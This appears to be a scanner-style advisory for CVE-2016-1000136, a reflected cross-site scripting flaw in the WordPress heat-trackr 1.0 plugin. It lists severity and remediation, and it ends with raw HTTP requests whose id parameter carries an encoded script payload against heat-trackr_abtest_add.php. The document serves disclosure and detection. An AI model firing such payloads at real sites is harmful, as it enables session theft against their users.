| Title | WordPress heat-trackr 1.0 - Cross-Site Scripting |
|---|---|
| Author | daffainfo |
| Severity | Medium |
| Impact | Attackers can execute arbitrary JavaScript in victims' browsers, potentially stealing session cookies, credentials, or performing actions on behalf of users. |
| Remediation | Upgrade to the latest version of WordPress heat-trackr or apply the provided patch to fix the XSS vulnerability. |
| CVSS Score | 6.1 |
| EPSS Score | 0.06584 |
| CVE ID | CVE-2016-1000136 |
| CWE ID | CWE-79 |
| Tags | cve2016 cve wordpress xss wp-plugin heat-trackr_project vuln |
WordPress heat-trackr 1.0 contains a cross-site scripting vulnerability via heat-trackr_abtest_add.php which allows an attacker to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
GET / HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.1.2 Safari/605.1.15
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
GET /wp-content/plugins/heat-trackr/heat-trackr_abtest_add.php?id=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 X11; Ubuntu; Linux x86_64; rv:126.0 Gecko/20100101 Firefox/126.0
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
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